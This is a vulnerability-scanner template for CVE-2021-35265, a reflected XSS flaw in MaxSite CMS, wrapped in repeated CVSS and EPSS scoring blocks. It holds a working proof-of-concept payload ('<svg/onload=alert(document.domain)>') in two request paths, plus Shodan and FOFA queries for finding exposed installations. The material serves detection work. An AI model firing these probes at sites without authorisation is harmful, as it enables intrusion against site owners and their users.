4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
50.1%
A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
id: CVE-2021-35265
info:
name: MaxSite CMS > V106 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page."
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265).
reference:
- https://github.com/maxsite/cms/issues/414#issue-726249183
- https://nvd.nist.gov/vuln/detail/CVE-2021-35265
- https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-35265
cwe-id: CWE-79
epss-score: 0.00141
epss-percentile: 0.4979
cpe: cpe:2.3:a:maxsite:maxsite_cms:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: maxsite
product: maxsite_cms
shodan-query:
- html:'content="MaxSite CMS'
- http.html:'content="maxsite cms'
fofa-query: body='content="maxsite cms'
tags: cve2021,cve,maxsite,xss
http:
- method: GET
path:
- '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
- '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '><svg/onload=alert(document.domain)>'
- type: word
part: body
words:
- 'mso-comments-rss">RSS</a>'
- 'MaxSite CMS'
- 'feed"><span>RSS</span>'
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100e7847514ecfd6e61a3765e29a67cc15f37c5ef49a69ab726aaea4405cce80dd0022034479cb2ed0910933e5d0945bbfa123d831278e440f7da24eff96193e8030b55:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
50.1%